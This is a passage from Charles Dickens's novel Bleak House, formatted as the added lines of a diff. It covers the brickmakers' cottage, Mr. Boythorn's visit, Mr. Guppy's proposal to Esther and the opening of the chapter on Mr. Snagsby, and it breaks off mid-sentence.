+I thought it very touching to see these two women, coarse and shabby
+and beaten, so united; to see what they could be to one another; to
+see how they felt for one another, how the heart of each to each was
+softened by the hard trials of their lives. I think the best side of
+such people is almost hidden from us. What the poor are to the poor
+is little known, excepting to themselves and God.
+
+We felt it better to withdraw and leave them uninterrupted. We stole
+out quietly and without notice from any one except the man. He was
+leaning against the wall near the door, and finding that there was
+scarcely room for us to pass, went out before us. He seemed to want
+to hide that he did this on our account, but we perceived that he
+did, and thanked him. He made no answer.
+
+Ada was so full of grief all the way home, and Richard, whom we found
+at home, was so distressed to see her in tears (though he said to me,
+when she was not present, how beautiful it was too!), that we
+arranged to return at night with some little comforts and repeat our
+visit at the brick-maker's house. We said as little as we could to
+Mr. Jarndyce, but the wind changed directly.
+
+Richard accompanied us at night to the scene of our morning
+expedition. On our way there, we had to pass a noisy drinking-house,
+where a number of men were flocking about the door. Among them, and
+prominent in some dispute, was the father of the little child. At a
+short distance, we passed the young man and the dog, in congenial
+company. The sister was standing laughing and talking with some other
+young women at the corner of the row of cottages, but she seemed
+ashamed and turned away as we went by.
+
+We left our escort within sight of the brickmaker's dwelling and
+proceeded by ourselves. When we came to the door, we found the woman
+who had brought such consolation with her standing there looking
+anxiously out.
+
+"It's you, young ladies, is it?" she said in a whisper. "I'm
+a-watching for my master. My heart's in my mouth. If he was to catch
+me away from home, he'd pretty near murder me."
+
+"Do you mean your husband?" said I.
+
+"Yes, miss, my master. Jenny's asleep, quite worn out. She's scarcely
+had the child off her lap, poor thing, these seven days and nights,
+except when I've been able to take it for a minute or two."
+
+As she gave way for us, she went softly in and put what we had
+brought near the miserable bed on which the mother slept. No effort
+had been made to clean the room--it seemed in its nature almost
+hopeless of being clean; but the small waxen form from which so much
+solemnity diffused itself had been composed afresh, and washed, and
+neatly dressed in some fragments of white linen; and on my
+handkerchief, which still covered the poor baby, a little bunch of
+sweet herbs had been laid by the same rough, scarred hands, so
+lightly, so tenderly!
+
+"May heaven reward you!" we said to her. "You are a good woman."
+
+"Me, young ladies?" she returned with surprise. "Hush! Jenny, Jenny!"
+
+The mother had moaned in her sleep and moved. The sound of the
+familiar voice seemed to calm her again. She was quiet once more.
+
+How little I thought, when I raised my handkerchief to look upon the
+tiny sleeper underneath and seemed to see a halo shine around the
+child through Ada's drooping hair as her pity bent her head--how
+little I thought in whose unquiet bosom that handkerchief would come
+to lie after covering the motionless and peaceful breast! I only
+thought that perhaps the Angel of the child might not be all
+unconscious of the woman who replaced it with so compassionate a
+hand; not all unconscious of her presently, when we had taken leave,
+and left her at the door, by turns looking, and listening in terror
+for herself, and saying in her old soothing manner, "Jenny, Jenny!"
+
+
+
+
+CHAPTER IX
+
+Signs and Tokens
+
+
+I don't know how it is I seem to be always writing about myself. I
+mean all the time to write about other people, and I try to think
+about myself as little as possible, and I am sure, when I find myself
+coming into the story again, I am really vexed and say, "Dear, dear,
+you tiresome little creature, I wish you wouldn't!" but it is all of
+no use. I hope any one who may read what I write will understand that
+if these pages contain a great deal about me, I can only suppose it
+must be because I have really something to do with them and can't be
+kept out.
+
+My darling and I read together, and worked, and practised, and found
+so much employment for our time that the winter days flew by us like
+bright-winged birds. Generally in the afternoons, and always in the
+evenings, Richard gave us his company. Although he was one of the
+most restless creatures in the world, he certainly was very fond of
+our society.
+
+He was very, very, very fond of Ada. I mean it, and I had better say
+it at once. I had never seen any young people falling in love before,
+but I found them out quite soon. I could not say so, of course, or
+show that I knew anything about it. On the contrary, I was so demure
+and used to seem so unconscious that sometimes I considered within
+myself while I was sitting at work whether I was not growing quite
+deceitful.
+
+But there was no help for it. All I had to do was to be quiet, and I
+was as quiet as a mouse. They were as quiet as mice too, so far as
+any words were concerned, but the innocent manner in which they
+relied more and more upon me as they took more and more to one
+another was so charming that I had great difficulty in not showing
+how it interested me.
+
+"Our dear little old woman is such a capital old woman," Richard
+would say, coming up to meet me in the garden early, with his
+pleasant laugh and perhaps the least tinge of a blush, "that I can't
+get on without her. Before I begin my harum-scarum day--grinding away
+at those books and instruments and then galloping up hill and down
+dale, all the country round, like a highwayman--it does me so much
+good to come and have a steady walk with our comfortable friend, that
+here I am again!"
+
+"You know, Dame Durden, dear," Ada would say at night, with her head
+upon my shoulder and the firelight shining in her thoughtful eyes, "I
+don't want to talk when we come upstairs here. Only to sit a little
+while thinking, with your dear face for company, and to hear the wind
+and remember the poor sailors at sea--"
+
+Ah! Perhaps Richard was going to be a sailor. We had talked it over
+very often now, and there was some talk of gratifying the inclination
+of his childhood for the sea. Mr. Jarndyce had written to a relation
+of the family, a great Sir Leicester Dedlock, for his interest in
+Richard's favour, generally; and Sir Leicester had replied in a
+gracious manner that he would be happy to advance the prospects of
+the young gentleman if it should ever prove to be within his power,
+which was not at all probable, and that my Lady sent her compliments
+to the young gentleman (to whom she perfectly remembered that she was
+allied by remote consanguinity) and trusted that he would ever do his
+duty in any honourable profession to which he might devote himself.
+
+"So I apprehend it's pretty clear," said Richard to me, "that I shall
+have to work my own way. Never mind! Plenty of people have had to do
+that before now, and have done it. I only wish I had the command of a
+clipping privateer to begin with and could carry off the Chancellor
+and keep him on short allowance until he gave judgment in our cause.
+He'd find himself growing thin, if he didn't look sharp!"
+
+With a buoyancy and hopefulness and a gaiety that hardly ever
+flagged, Richard had a carelessness in his character that quite
+perplexed me, principally because he mistook it, in such a very odd
+way, for prudence. It entered into all his calculations about money
+in a singular manner which I don't think I can better explain than by
+reverting for a moment to our loan to Mr. Skimpole.
+
+Mr. Jarndyce had ascertained the amount, either from Mr. Skimpole
+himself or from Coavinses, and had placed the money in my hands with
+instructions to me to retain my own part of it and hand the rest to
+Richard. The number of little acts of thoughtless expenditure which
+Richard justified by the recovery of his ten pounds, and the number
+of times he talked to me as if he had saved or realized that amount,
+would form a sum in simple addition.
+
+"My prudent Mother Hubbard, why not?" he said to me when he wanted,
+without the least consideration, to bestow five pounds on the
+brickmaker. "I made ten pounds, clear, out of Coavinses' business."
+
+"How was that?" said I.
+
+"Why, I got rid of ten pounds which I was quite content to get rid of
+and never expected to see any more. You don't deny that?"
+
+"No," said I.
+
+"Very well! Then I came into possession of ten pounds--"
+
+"The same ten pounds," I hinted.
+
+"That has nothing to do with it!" returned Richard. "I have got ten
+pounds more than I expected to have, and consequently I can afford to
+spend it without being particular."
+
+In exactly the same way, when he was persuaded out of the sacrifice
+of these five pounds by being convinced that it would do no good, he
+carried that sum to his credit and drew upon it.
+
+"Let me see!" he would say. "I saved five pounds out of the
+brickmaker's affair, so if I have a good rattle to London and back in
+a post-chaise and put that down at four pounds, I shall have saved
+one. And it's a very good thing to save one, let me tell you: a penny
+saved is a penny got!"
+
+I believe Richard's was as frank and generous a nature as there
+possibly can be. He was ardent and brave, and in the midst of all his
+wild restlessness, was so gentle that I knew him like a brother in a
+few weeks. His gentleness was natural to him and would have shown
+itself abundantly even without Ada's influence; but with it, he
+became one of the most winning of companions, always so ready to be
+interested and always so happy, sanguine, and light-hearted. I am
+sure that I, sitting with them, and walking with them, and talking
+with them, and noticing from day to day how they went on, falling
+deeper and deeper in love, and saying nothing about it, and each
+shyly thinking that this love was the greatest of secrets, perhaps
+not yet suspected even by the other--I am sure that I was scarcely
+less enchanted than they were and scarcely less pleased with the
+pretty dream.
+
+We were going on in this way, when one morning at breakfast Mr.
+Jarndyce received a letter, and looking at the superscription, said,
+"From Boythorn? Aye, aye!" and opened and read it with evident
+pleasure, announcing to us in a parenthesis when he was about
+half-way through, that Boythorn was "coming down" on a visit. Now who
+was Boythorn, we all thought. And I dare say we all thought too--I am
+sure I did, for one--would Boythorn at all interfere with what was
+going forward?
+
+"I went to school with this fellow, Lawrence Boythorn," said Mr.
+Jarndyce, tapping the letter as he laid it on the table, "more than
+five and forty years ago. He was then the most impetuous boy in the
+world, and he is now the most impetuous man. He was then the loudest
+boy in the world, and he is now the loudest man. He was then the
+heartiest and sturdiest boy in the world, and he is now the heartiest
+and sturdiest man. He is a tremendous fellow."
+
+"In stature, sir?" asked Richard.
+
+"Pretty well, Rick, in that respect," said Mr. Jarndyce; "being some
+ten years older than I and a couple of inches taller, with his head
+thrown back like an old soldier, his stalwart chest squared, his
+hands like a clean blacksmith's, and his lungs! There's no simile for
+his lungs. Talking, laughing, or snoring, they make the beams of the
+house shake."
+
+As Mr. Jarndyce sat enjoying the image of his friend Boythorn, we
+observed the favourable omen that there was not the least indication
+of any change in the wind.
+
+"But it's the inside of the man, the warm heart of the man, the
+passion of the man, the fresh blood of the man, Rick--and Ada, and
+little Cobweb too, for you are all interested in a visitor--that I
+speak of," he pursued. "His language is as sounding as his voice. He
+is always in extremes, perpetually in the superlative degree. In his
+condemnation he is all ferocity. You might suppose him to be an ogre
+from what he says, and I believe he has the reputation of one with
+some people. There! I tell you no more of him beforehand. You must
+not be surprised to see him take me under his protection, for he has
+never forgotten that I was a low boy at school and that our
+friendship began in his knocking two of my head tyrant's teeth out
+(he says six) before breakfast. Boythorn and his man," to me, "will
+be here this afternoon, my dear."
+
+I took care that the necessary preparations were made for Mr.
+Boythorn's reception, and we looked forward to his arrival with some
+curiosity. The afternoon wore away, however, and he did not appear.
+The dinner-hour arrived, and still he did not appear. The dinner was
+put back an hour, and we were sitting round the fire with no light
+but the blaze when the hall-door suddenly burst open and the hall
+resounded with these words, uttered with the greatest vehemence and
+in a stentorian tone: "We have been misdirected, Jarndyce, by a most
+abandoned ruffian, who told us to take the turning to the right
+instead of to the left. He is the most intolerable scoundrel on the
+face of the earth. His father must have been a most consummate
+villain, ever to have such a son. I would have had that fellow shot
+without the least remorse!"
+
+"Did he do it on purpose?" Mr. Jarndyce inquired.
+
+"I have not the slightest doubt that the scoundrel has passed his
+whole existence in misdirecting travellers!" returned the other. "By
+my soul, I thought him the worst-looking dog I had ever beheld when
+he was telling me to take the turning to the right. And yet I stood
+before that fellow face to face and didn't knock his brains out!"
+
+"Teeth, you mean?" said Mr. Jarndyce.
+
+"Ha, ha, ha!" laughed Mr. Lawrence Boythorn, really making the whole
+house vibrate. "What, you have not forgotten it yet! Ha, ha, ha! And
+that was another most consummate vagabond! By my soul, the
+countenance of that fellow when he was a boy was the blackest image
+of perfidy, cowardice, and cruelty ever set up as a scarecrow in a
+field of scoundrels. If I were to meet that most unparalleled despot
+in the streets to-morrow, I would fell him like a rotten tree!"
+
+"I have no doubt of it," said Mr. Jarndyce. "Now, will you come
+upstairs?"
+
+"By my soul, Jarndyce," returned his guest, who seemed to refer to
+his watch, "if you had been married, I would have turned back at the
+garden-gate and gone away to the remotest summits of the Himalaya
+Mountains sooner than I would have presented myself at this
+unseasonable hour."
+
+"Not quite so far, I hope?" said Mr. Jarndyce.
+
+"By my life and honour, yes!" cried the visitor. "I wouldn't be
+guilty of the audacious insolence of keeping a lady of the house
+waiting all this time for any earthly consideration. I would
+infinitely rather destroy myself--infinitely rather!"
+
+Talking thus, they went upstairs, and presently we heard him in his
+bedroom thundering "Ha, ha, ha!" and again "Ha, ha, ha!" until the
+flattest echo in the neighbourhood seemed to catch the contagion and
+to laugh as enjoyingly as he did or as we did when we heard him
+laugh.
+
+We all conceived a prepossession in his favour, for there was a
+sterling quality in this laugh, and in his vigorous, healthy voice,
+and in the roundness and fullness with which he uttered every word he
+spoke, and in the very fury of his superlatives, which seemed to go
+off like blank cannons and hurt nothing. But we were hardly prepared
+to have it so confirmed by his appearance when Mr. Jarndyce presented
+him. He was not only a very handsome old gentleman--upright and
+stalwart as he had been described to us--with a massive grey head, a
+fine composure of face when silent, a figure that might have become
+corpulent but for his being so continually in earnest that he gave it
+no rest, and a chin that might have subsided into a double chin but
+for the vehement emphasis in which it was constantly required to
+assist; but he was such a true gentleman in his manner, so
+chivalrously polite, his face was lighted by a smile of so much
+sweetness and tenderness, and it seemed so plain that he had nothing
+to hide, but showed himself exactly as he was--incapable, as Richard
+said, of anything on a limited scale, and firing away with those
+blank great guns because he carried no small arms whatever--that
+really I could not help looking at him with equal pleasure as he sat
+at dinner, whether he smilingly conversed with Ada and me, or was led
+by Mr. Jarndyce into some great volley of superlatives, or threw up
+his head like a bloodhound and gave out that tremendous "Ha, ha, ha!"
+
+"You have brought your bird with you, I suppose?" said Mr. Jarndyce.
+
+"By heaven, he is the most astonishing bird in Europe!" replied the
+other. "He IS the most wonderful creature! I wouldn't take ten
+thousand guineas for that bird. I have left an annuity for his sole
+support in case he should outlive me. He is, in sense and attachment,
+a phenomenon. And his father before him was one of the most
+astonishing birds that ever lived!"
+
+The subject of this laudation was a very little canary, who was so
+tame that he was brought down by Mr. Boythorn's man, on his
+forefinger, and after taking a gentle flight round the room, alighted
+on his master's head. To hear Mr. Boythorn presently expressing the
+most implacable and passionate sentiments, with this fragile mite of
+a creature quietly perched on his forehead, was to have a good
+illustration of his character, I thought.
+
+"By my soul, Jarndyce," he said, very gently holding up a bit of
+bread to the canary to peck at, "if I were in your place I would
+seize every master in Chancery by the throat to-morrow morning and
+shake him until his money rolled out of his pockets and his bones
+rattled in his skin. I would have a settlement out of somebody, by
+fair means or by foul. If you would empower me to do it, I would do
+it for you with the greatest satisfaction!" (All this time the very
+small canary was eating out of his hand.)
+
+"I thank you, Lawrence, but the suit is hardly at such a point at
+present," returned Mr. Jarndyce, laughing, "that it would be greatly
+advanced even by the legal process of shaking the bench and the whole
+bar."
+
+"There never was such an infernal cauldron as that Chancery on the
+face of the earth!" said Mr. Boythorn. "Nothing but a mine below it
+on a busy day in term time, with all its records, rules, and
+precedents collected in it and every functionary belonging to it
+also, high and low, upward and downward, from its son the
+Accountant-General to its father the Devil, and the whole blown to
+atoms with ten thousand hundredweight of gunpowder, would reform it
+in the least!"
+
+It was impossible not to laugh at the energetic gravity with which he
+recommended this strong measure of reform. When we laughed, he threw
+up his head and shook his broad chest, and again the whole country
+seemed to echo to his "Ha, ha, ha!" It had not the least effect in
+disturbing the bird, whose sense of security was complete and who
+hopped about the table with its quick head now on this side and now
+on that, turning its bright sudden eye on its master as if he were no
+more than another bird.
+
+"But how do you and your neighbour get on about the disputed right of
+way?" said Mr. Jarndyce. "You are not free from the toils of the law
+yourself!"
+
+"The fellow has brought actions against ME for trespass, and I have
+brought actions against HIM for trespass," returned Mr. Boythorn. "By
+heaven, he is the proudest fellow breathing. It is morally impossible
+that his name can be Sir Leicester. It must be Sir Lucifer."
+
+"Complimentary to our distant relation!" said my guardian laughingly
+to Ada and Richard.
+
+"I would beg Miss Clare's pardon and Mr. Carstone's pardon," resumed
+our visitor, "if I were not reassured by seeing in the fair face of
+the lady and the smile of the gentleman that it is quite unnecessary
+and that they keep their distant relation at a comfortable distance."
+
+"Or he keeps us," suggested Richard.
+
+"By my soul," exclaimed Mr. Boythorn, suddenly firing another volley,
+"that fellow is, and his father was, and his grandfather was, the
+most stiff-necked, arrogant imbecile, pig-headed numskull, ever, by
+some inexplicable mistake of Nature, born in any station of life but
+a walking-stick's! The whole of that family are the most solemnly
+conceited and consummate blockheads! But it's no matter; he should
+not shut up my path if he were fifty baronets melted into one and
+living in a hundred Chesney Wolds, one within another, like the ivory
+balls in a Chinese carving. The fellow, by his agent, or secretary,
+or somebody, writes to me 'Sir Leicester Dedlock, Baronet, presents
+his compliments to Mr. Lawrence Boythorn, and has to call his
+attention to the fact that the green pathway by the old
+parsonage-house, now the property of Mr. Lawrence Boythorn, is Sir
+Leicester's right of way, being in fact a portion of the park of
+Chesney Wold, and that Sir Leicester finds it convenient to close up
+the same.' I write to the fellow, 'Mr. Lawrence Boythorn presents his
+compliments to Sir Leicester Dedlock, Baronet, and has to call HIS
+attention to the fact that he totally denies the whole of Sir
+Leicester Dedlock's positions on every possible subject and has to
+add, in reference to closing up the pathway, that he will be glad to
+see the man who may undertake to do it.' The fellow sends a most
+abandoned villain with one eye to construct a gateway. I play upon
+that execrable scoundrel with a fire-engine until the breath is
+nearly driven out of his body. The fellow erects a gate in the night.
+I chop it down and burn it in the morning. He sends his myrmidons to
+come over the fence and pass and repass. I catch them in humane man
+traps, fire split peas at their legs, play upon them with the
+engine--resolve to free mankind from the insupportable burden of the
+existence of those lurking ruffians. He brings actions for trespass;
+I bring actions for trespass. He brings actions for assault and
+battery; I defend them and continue to assault and batter. Ha, ha,
+ha!"
+
+To hear him say all this with unimaginable energy, one might have
+thought him the angriest of mankind. To see him at the very same
+time, looking at the bird now perched upon his thumb and softly
+smoothing its feathers with his forefinger, one might have thought
+him the gentlest. To hear him laugh and see the broad good nature of
+his face then, one might have supposed that he had not a care in the
+world, or a dispute, or a dislike, but that his whole existence was a
+summer joke.
+
+"No, no," he said, "no closing up of my paths by any Dedlock! Though
+I willingly confess," here he softened in a moment, "that Lady
+Dedlock is the most accomplished lady in the world, to whom I would
+do any homage that a plain gentleman, and no baronet with a head
+seven hundred years thick, may. A man who joined his regiment at
+twenty and within a week challenged the most imperious and
+presumptuous coxcomb of a commanding officer that ever drew the
+breath of life through a tight waist--and got broke for it--is not
+the man to be walked over by all the Sir Lucifers, dead or alive,
+locked or unlocked. Ha, ha, ha!"
+
+"Nor the man to allow his junior to be walked over either?" said my
+guardian.
+
+"Most assuredly not!" said Mr. Boythorn, clapping him on the shoulder
+with an air of protection that had something serious in it, though he
+laughed. "He will stand by the low boy, always. Jarndyce, you may
+rely upon him! But speaking of this trespass--with apologies to Miss
+Clare and Miss Summerson for the length at which I have pursued so
+dry a subject--is there nothing for me from your men Kenge and
+Carboy?"
+
+"I think not, Esther?" said Mr. Jarndyce.
+
+"Nothing, guardian."
+
+"Much obliged!" said Mr. Boythorn. "Had no need to ask, after even my
+slight experience of Miss Summerson's forethought for every one about
+her." (They all encouraged me; they were determined to do it.) "I
+inquired because, coming from Lincolnshire, I of course have not yet
+been in town, and I thought some letters might have been sent down
+here. I dare say they will report progress to-morrow morning."
+
+I saw him so often in the course of the evening, which passed very
+pleasantly, contemplate Richard and Ada with an interest and a
+satisfaction that made his fine face remarkably agreeable as he sat
+at a little distance from the piano listening to the music--and he
+had small occasion to tell us that he was passionately fond of music,
+for his face showed it--that I asked my guardian as we sat at the
+backgammon board whether Mr. Boythorn had ever been married.
+
+"No," said he. "No."
+
+"But he meant to be!" said I.
+
+"How did you find out that?" he returned with a smile. "Why,
+guardian," I explained, not without reddening a little at hazarding
+what was in my thoughts, "there is something so tender in his manner,
+after all, and he is so very courtly and gentle to us, and--"
+
+Mr. Jarndyce directed his eyes to where he was sitting as I have just
+described him.
+
+I said no more.
+
+"You are right, little woman," he answered. "He was all but married
+once. Long ago. And once."
+
+"Did the lady die?"
+
+"No--but she died to him. That time has had its influence on all his
+later life. Would you suppose him to have a head and a heart full of
+romance yet?"
+
+"I think, guardian, I might have supposed so. But it is easy to say
+that when you have told me so."
+
+"He has never since been what he might have been," said Mr. Jarndyce,
+"and now you see him in his age with no one near him but his servant
+and his little yellow friend. It's your throw, my dear!"
+
+I felt, from my guardian's manner, that beyond this point I could not
+pursue the subject without changing the wind. I therefore forbore to
+ask any further questions. I was interested, but not curious. I
+thought a little while about this old love story in the night, when I
+was awakened by Mr. Boythorn's lusty snoring; and I tried to do that
+very difficult thing, imagine old people young again and invested
+with the graces of youth. But I fell asleep before I had succeeded,
+and dreamed of the days when I lived in my godmother's house. I am
+not sufficiently acquainted with such subjects to know whether it is
+at all remarkable that I almost always dreamed of that period of my
+life.
+
+With the morning there came a letter from Messrs. Kenge and Carboy to
+Mr. Boythorn informing him that one of their clerks would wait upon
+him at noon. As it was the day of the week on which I paid the bills,
+and added up my books, and made all the household affairs as compact
+as possible, I remained at home while Mr. Jarndyce, Ada, and Richard
+took advantage of a very fine day to make a little excursion, Mr.
+Boythorn was to wait for Kenge and Carboy's clerk and then was to go
+on foot to meet them on their return.
+
+Well! I was full of business, examining tradesmen's books, adding up
+columns, paying money, filing receipts, and I dare say making a great
+bustle about it when Mr. Guppy was announced and shown in. I had had
+some idea that the clerk who was to be sent down might be the young
+gentleman who had met me at the coach-office, and I was glad to see
+him, because he was associated with my present happiness.
+
+I scarcely knew him again, he was so uncommonly smart. He had an
+entirely new suit of glossy clothes on, a shining hat, lilac-kid
+gloves, a neckerchief of a variety of colours, a large hot-house
+flower in his button-hole, and a thick gold ring on his little
+finger. Besides which, he quite scented the dining-room with
+bear's-grease and other perfumery. He looked at me with an attention
+that quite confused me when I begged him to take a seat until the
+servant should return; and as he sat there crossing and uncrossing
+his legs in a corner, and I asked him if he had had a pleasant ride,
+and hoped that Mr. Kenge was well, I never looked at him, but I found
+him looking at me in the same scrutinizing and curious way.
+
+When the request was brought to him that he would go upstairs to Mr.
+Boythorn's room, I mentioned that he would find lunch prepared for
+him when he came down, of which Mr. Jarndyce hoped he would partake.
+He said with some embarrassment, holding the handle of the door,
+"Shall I have the honour of finding you here, miss?" I replied yes, I
+should be there; and he went out with a bow and another look.
+
+I thought him only awkward and shy, for he was evidently much
+embarrassed; and I fancied that the best thing I could do would be to
+wait until I saw that he had everything he wanted and then to leave
+him to himself. The lunch was soon brought, but it remained for some
+time on the table. The interview with Mr. Boythorn was a long one,
+and a stormy one too, I should think, for although his room was at
+some distance I heard his loud voice rising every now and then like a
+high wind, and evidently blowing perfect broadsides of denunciation.
+
+At last Mr. Guppy came back, looking something the worse for the
+conference. "My eye, miss," he said in a low voice, "he's a Tartar!"
+
+"Pray take some refreshment, sir," said I.
+
+Mr. Guppy sat down at the table and began nervously sharpening the
+carving-knife on the carving-fork, still looking at me (as I felt
+quite sure without looking at him) in the same unusual manner. The
+sharpening lasted so long that at last I felt a kind of obligation on
+me to raise my eyes in order that I might break the spell under which
+he seemed to labour, of not being able to leave off.
+
+He immediately looked at the dish and began to carve.
+
+"What will you take yourself, miss? You'll take a morsel of
+something?"
+
+"No, thank you," said I.
+
+"Shan't I give you a piece of anything at all, miss?" said Mr. Guppy,
+hurriedly drinking off a glass of wine.
+
+"Nothing, thank you," said I. "I have only waited to see that you
+have everything you want. Is there anything I can order for you?"
+
+"No, I am much obliged to you, miss, I'm sure. I've everything that I
+can require to make me comfortable--at least I--not comfortable--I'm
+never that." He drank off two more glasses of wine, one after
+another.
+
+I thought I had better go.
+
+"I beg your pardon, miss!" said Mr. Guppy, rising when he saw me
+rise. "But would you allow me the favour of a minute's private
+conversation?"
+
+Not knowing what to say, I sat down again.
+
+"What follows is without prejudice, miss?" said Mr. Guppy, anxiously
+bringing a chair towards my table.
+
+"I don't understand what you mean," said I, wondering.
+
+"It's one of our law terms, miss. You won't make any use of it to my
+detriment at Kenge and Carboy's or elsewhere. If our conversation
+shouldn't lead to anything, I am to be as I was and am not to be
+prejudiced in my situation or worldly prospects. In short, it's in
+total confidence."
+
+"I am at a loss, sir," said I, "to imagine what you can have to
+communicate in total confidence to me, whom you have never seen but
+once; but I should be very sorry to do you any injury."
+
+"Thank you, miss. I'm sure of it--that's quite sufficient." All this
+time Mr. Guppy was either planing his forehead with his handkerchief
+or tightly rubbing the palm of his left hand with the palm of his
+right. "If you would excuse my taking another glass of wine, miss, I
+think it might assist me in getting on without a continual choke that
+cannot fail to be mutually unpleasant."
+
+He did so, and came back again. I took the opportunity of moving well
+behind my table.
+
+"You wouldn't allow me to offer you one, would you miss?" said Mr.
+Guppy, apparently refreshed.
+
+"Not any," said I.
+
+"Not half a glass?" said Mr. Guppy. "Quarter? No! Then, to proceed.
+My present salary, Miss Summerson, at Kenge and Carboy's, is two
+pound a week. When I first had the happiness of looking upon you, it
+was one fifteen, and had stood at that figure for a lengthened
+period. A rise of five has since taken place, and a further rise of
+five is guaranteed at the expiration of a term not exceeding twelve
+months from the present date. My mother has a little property, which
+takes the form of a small life annuity, upon which she lives in an
+independent though unassuming manner in the Old Street Road. She is
+eminently calculated for a mother-in-law. She never interferes, is
+all for peace, and her disposition easy. She has her failings--as who
+has not?--but I never knew her do it when company was present, at
+which time you may freely trust her with wines, spirits, or malt
+liquors. My own abode is lodgings at Penton Place, Pentonville. It is
+lowly, but airy, open at the back, and considered one of the
+'ealthiest outlets. Miss Summerson! In the mildest language, I adore
+you. Would you be so kind as to allow me (as I may say) to file a
+declaration--to make an offer!"
+
+Mr. Guppy went down on his knees. I was well behind my table and not
+much frightened. I said, "Get up from that ridiculous position
+immediately, sir, or you will oblige me to break my implied promise
+and ring the bell!"
+
+"Hear me out, miss!" said Mr. Guppy, folding his hands.
+
+"I cannot consent to hear another word, sir," I returned, "Unless you
+get up from the carpet directly and go and sit down at the table as
+you ought to do if you have any sense at all."
+
+He looked piteously, but slowly rose and did so.
+
+"Yet what a mockery it is, miss," he said with his hand upon his
+heart and shaking his head at me in a melancholy manner over the
+tray, "to be stationed behind food at such a moment. The soul recoils
+from food at such a moment, miss."
+
+"I beg you to conclude," said I; "you have asked me to hear you out,
+and I beg you to conclude."
+
+"I will, miss," said Mr. Guppy. "As I love and honour, so likewise I
+obey. Would that I could make thee the subject of that vow before the
+shrine!"
+
+"That is quite impossible," said I, "and entirely out of the
+question."
+
+"I am aware," said Mr. Guppy, leaning forward over the tray and
+regarding me, as I again strangely felt, though my eyes were not
+directed to him, with his late intent look, "I am aware that in a
+worldly point of view, according to all appearances, my offer is a
+poor one. But, Miss Summerson! Angel! No, don't ring--I have been
+brought up in a sharp school and am accustomed to a variety of
+general practice. Though a young man, I have ferreted out evidence,
+got up cases, and seen lots of life. Blest with your hand, what means
+might I not find of advancing your interests and pushing your
+fortunes! What might I not get to know, nearly concerning you? I know
+nothing now, certainly; but what MIGHT I not if I had your
+confidence, and you set me on?"
+
+I told him that he addressed my interest or what he supposed to be my
+interest quite as unsuccessfully as he addressed my inclination, and
+he would now understand that I requested him, if he pleased, to go
+away immediately.
+
+"Cruel miss," said Mr. Guppy, "hear but another word! I think you
+must have seen that I was struck with those charms on the day when I
+waited at the Whytorseller. I think you must have remarked that I
+could not forbear a tribute to those charms when I put up the steps
+of the 'ackney-coach. It was a feeble tribute to thee, but it was
+well meant. Thy image has ever since been fixed in my breast. I have
+walked up and down of an evening opposite Jellyby's house only to
+look upon the bricks that once contained thee. This out of to-day,
+quite an unnecessary out so far as the attendance, which was its
+pretended object, went, was planned by me alone for thee alone. If I
+speak of interest, it is only to recommend myself and my respectful
+wretchedness. Love was before it, and is before it."
+
+"I should be pained, Mr. Guppy," said I, rising and putting my hand
+upon the bell-rope, "to do you or any one who was sincere the
+injustice of slighting any honest feeling, however disagreeably
+expressed. If you have really meant to give me a proof of your good
+opinion, though ill-timed and misplaced, I feel that I ought to thank
+you. I have very little reason to be proud, and I am not proud. I
+hope," I think I added, without very well knowing what I said, "that
+you will now go away as if you had never been so exceedingly foolish
+and attend to Messrs. Kenge and Carboy's business."
+
+"Half a minute, miss!" cried Mr. Guppy, checking me as I was about to
+ring. "This has been without prejudice?"
+
+"I will never mention it," said I, "unless you should give me future
+occasion to do so."
+
+"A quarter of a minute, miss! In case you should think better at any
+time, however distant--THAT'S no consequence, for my feelings can
+never alter--of anything I have said, particularly what might I not
+do, Mr. William Guppy, eighty-seven, Penton Place, or if removed, or
+dead (of blighted hopes or anything of that sort), care of Mrs.
+Guppy, three hundred and two, Old Street Road, will be sufficient."
+
+I rang the bell, the servant came, and Mr. Guppy, laying his written
+card upon the table and making a dejected bow, departed. Raising my
+eyes as he went out, I once more saw him looking at me after he had
+passed the door.
+
+I sat there for another hour or more, finishing my books and payments
+and getting through plenty of business. Then I arranged my desk, and
+put everything away, and was so composed and cheerful that I thought
+I had quite dismissed this unexpected incident. But, when I went
+upstairs to my own room, I surprised myself by beginning to laugh
+about it and then surprised myself still more by beginning to cry
+about it. In short, I was in a flutter for a little while and felt as
+if an old chord had been more coarsely touched than it ever had been
+since the days of the dear old doll, long buried in the garden.
+
+
+
+
+CHAPTER X
+
+The Law-Writer
+
+
+On the eastern borders of Chancery Lane, that is to say, more
+particularly in Cook's Court, Cursitor Street, Mr. Snagsby,
+law-stationer, pursues his lawful calling. In the shade of Cook's
+Court, at most times a shady place, Mr. Snagsby has dealt in
+all sorts of blank forms of legal process; in skins and rolls
+of parchment; in paper--foolscap, brief, draft, brown, white,
+whitey-brown, and blotting; in stamps; in office-quills, pens,
+ink, India-rubber, pounce, pins, pencils, sealing-wax, and
+wafers; in red tape and green ferret; in pocket-books, almanacs,
+diaries, and law lists; in string boxes, rulers, inkstands--glass
+and leaden--pen-knives, scissors, bodkins, and other small
+office-cutlery; in short, in articles too numerous to mention, ever
+since he was out of his time and went into partnership with Peffer.
+On that occasion, Cook's Court was in a manner revolutionized by the
+new inscription in fresh paint, PEFFER AND SNAGSBY, displacing the
+time-honoured and not easily to be deciphered legend PEFFER only. For
+smoke, which is the London ivy, had so wreathed itself round Peffer's
+name and clung to his dwelling-place that the affectionate parasite
+quite overpowered the parent tree.
+
+Peffer is never seen in Cook's Court now. He is not expected there,
+for he has been recumbent this quarter of a century in the churchyard
+of St. Andrews, Holborn, with the waggons and hackney-coaches roaring
+past him all the day and half the night like one great dragon. If he
+ever steal forth when the dragon is at rest to air himself again in
+Cook's Court until admonished to return by the crowing of the
+sanguine cock in the cellar at the little dairy in Cursitor Street,
+whose ideas of daylight it would be curious to ascertain, since he
+knows from his personal observation next to nothing about it--if
+Peffer ever do revisit the pale glimpses of Cook's Court, which no
+law-stationer in the trade can positively deny, he comes invisibly,
+and no one is the worse or wiser.
+
+In his lifetime, and likewise in the period of Snagsby's "time"
+of seven long years, there dwelt with Peffer in the same
+law-stationering premises a niece--a short, shrewd niece, something
+too violently compressed about the waist, and with a sharp nose like
+a sharp autumn evening, inclining to be frosty towards the end. The
+Cook's Courtiers had a rumour flying among them that the mother of
+this niece did, in her daughter's childhood, moved by too jealous a
+solicitude that her figure should approach perfection, lace her
+up every morning with her maternal foot against the bed-post for
+a stronger hold and purchase; and further, that she exhibited
+internally pints of vinegar and lemon-juice, which acids, they held,
+had mounted to the nose and temper of the patient. With whichsoever
